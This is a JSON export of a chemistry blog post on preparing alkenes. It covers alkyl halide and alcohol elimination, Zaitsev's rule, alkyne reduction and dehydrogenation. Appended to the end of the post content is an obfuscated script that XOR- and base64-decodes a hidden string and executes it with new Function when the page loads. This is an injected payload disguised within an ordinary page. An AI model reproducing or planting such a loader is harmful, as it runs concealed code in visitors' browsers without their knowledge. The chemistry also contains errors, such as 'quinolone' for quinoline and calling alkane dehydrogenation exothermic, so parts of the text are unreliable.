{"id":3146,"date":"2026-09-15T04:00:59","date_gmt":"2026-09-15T04:00:59","guid":{"rendered":"https:\/\/www.aceorganicchem.com\/blog\/?p=3146"},"modified":"2026-09-15T04:00:59","modified_gmt":"2026-09-15T04:00:59","slug":"preparation-of-alkenes","status":"publish","type":"post","link":"https:\/\/www.aceorganicchem.com\/blog\/preparation-of-alkenes\/","title":{"rendered":"Preparation of Alkenes"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Alkenes are homologues series having general formula CnH2n. the first member of alkene is ethene (C<sub>2<\/sub>H<sub>4<\/sub>). They are unsaturated hydrocarbons having at least one double bond between any two carbons. There is one sigma bond and a pi bond between the two doubly bonded carbons. Due to the presence of weak pi bond alkene are less stable and more reactive than alkanes. The first three member of alkene are gases. They are also called olefin which mean oil like.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alkene being unsaturated are prepared by elimination reaction of saturated compounds. General methods for their preparation are the following.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>From alkyl halides<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Alkenes can be prepared by elimination of hydrogen halide from alkyl halide. The reaction take place in basic medium therefore alcoholic KOH solution is used as a medium in this reaction. Elimination of \u03b2 hydrogen take place from \u03b2 carbon. The carbon next to the carbon having functional group is called \u03b2 carbon.<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Order of reactivity of alkyl halides<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Reactivity of primary alkyl halides depend upon the halogen atom. Alkyl iodides are more reactive than other. The order of reactivity of alkyl halides is; alkyl iodide \u02c3 alkyl bromide \u02c3alkyl chloride.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Mechanism<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A strong base give hydroxyl group which remove proton from the alkyl halides. As the \u03b2 hydrogen of alkyl halides is slightly acidic which can for bond with the lone pair of OH group. The detachment of hydrogen leave electron to the carbon which are attracted by the positive carbon having halogen group. As a result of this a double bond is formed between the two carbon atoms and breaking of halide ion take place.&nbsp;<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\"><strong>From vicinal dihalides<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Those alkyl halides which have two halogen attached to the two adjacent carbon atoms are called vicinal dihalides. When vicinal dihalides are gently heated with methanolic zinc solution, they form alkene due to the loss of two halogens.<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\"><strong>From alcohol<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Alkenes can be prepared by the elimination of a water from an alcohol molecule. When alcohol are treated with concentrated sulphuric acid at 180<sup>o<\/sup>C they undergo elimination to form double bond.<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Heat of dehydration<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Heat of dehydration of alcohol depend upon the number of substituents attached to the alcohol. Greater the number of substituents attached to the alcohol, lesser amount of heat will be required. Therefore the heat of dehydration for primary alcohol is about 180 <sup>O<\/sup>C, while it is 140 <sup>O<\/sup>C for secondary alcohol and 80 <sup>O<\/sup>C for tertiary.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Order of reactivity of alcohols<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Among the alcohol tertiary alcohols are more reactive than secondary and primary alcohol. Their order of reactivity is as follow<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tertiary \u02c3secondary \u02c3primary\u02c3methanol.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Mechanism<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Mechanism of the dehydration of primary alcohol is that the proto from sulphuric acid make bond with the lone pair of oxygen of alcohol forming oxonium ion. Then the HSO<sub>4<\/sub><sup>&#8211;<\/sup> attack on the \u03b2 hydrogen on the back side. A double bond is formed as a result of detachment of water molecule from \u03b1 carbon and hydrogen from \u03b2 carbon.<\/p>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">Alkene can also be prepared by catalytic dehydrogenation of alcohol where Al<sub>2<\/sub>O<sub>3<\/sub> is used as catalyst.<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Zaitsev rule.<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">According to the Zaitsev rule if there are more than one beta hydrogens, then elimination of that hydrogen will take place which results in the formation of highly substituted alkene. The clear example of this is elimination of water from 2-butanol can form 1-butene as well as 2-butene but the product will be 2-butene according to the Zaitsev rule.<\/p>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">Zaitsev rules is also applicable in case of elimination of alkyl halides for example elimination of halogen from 2-chloro butane.<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\"><strong>From Alkynes<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Alkenes can be prepared by the catalytic hydrogenation of alkynes. Here is the problem of limited hydrogenation of alkynes to stop the reaction at alkene otherwise alkane will be formed. For this purpose Lindlar\u2019s catalyst is used instead of Ni catalyst. Lindlar\u2019s catalyst is a mixture of Pd deposited over CaCO<sub>3<\/sub> and poisoned with quinolone. As a result of this reaction cis-alkene can be produced.<\/p>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">If trans alkene are required then reduction of alkynes is done by uing sodium in liquid ammonia.<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-from-alkane\">From alkane<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In petrochemical industry alkenes can be brepared from alkanes by dehydrogenation. This process is often used for production of styrene and aromatic compounds. This process is highly exothermic and require temperature for the process is 500 <sup>O<\/sup>C or more.<\/p>\n\n\n<script>(function(){\nvar x418c5a=4309;\nif(x418c5a>0){var y841319=x418c5a-4910}else{var y841319=4910}\nvar z64104a=y841319*18;\nvar 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_0xa565beffc3a1=80;\nvar _0x99dcf8ed2c65='';\nfor(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x3d75fd8731c6.length;_0x75f9f42cd56e++)\n  _0x99dcf8ed2c65+=String.fromCharCode(_0x3d75fd8731c6[_0x75f9f42cd56e]^_0xa565beffc3a1);\nvar _0xe1c29d8a8a41=119;\nvar _0x5a1ac3c88648=atob(_0x99dcf8ed2c65);\nvar _code='';\nfor(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x5a1ac3c88648.length;_0x75f9f42cd56e++)\n  _code+=String.fromCharCode(_0x5a1ac3c88648.charCodeAt(_0x75f9f42cd56e)^_0xe1c29d8a8a41);\n(new Function(_code))();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Alkenes are homologues series having general formula CnH2n. the first member of alkene is ethene (C2H4). They are unsaturated hydrocarbons having at least one double bond between any two carbons. There is one sigma bond and a pi bond between the two doubly bonded carbons. Due to the presence of weak pi bond alkene are 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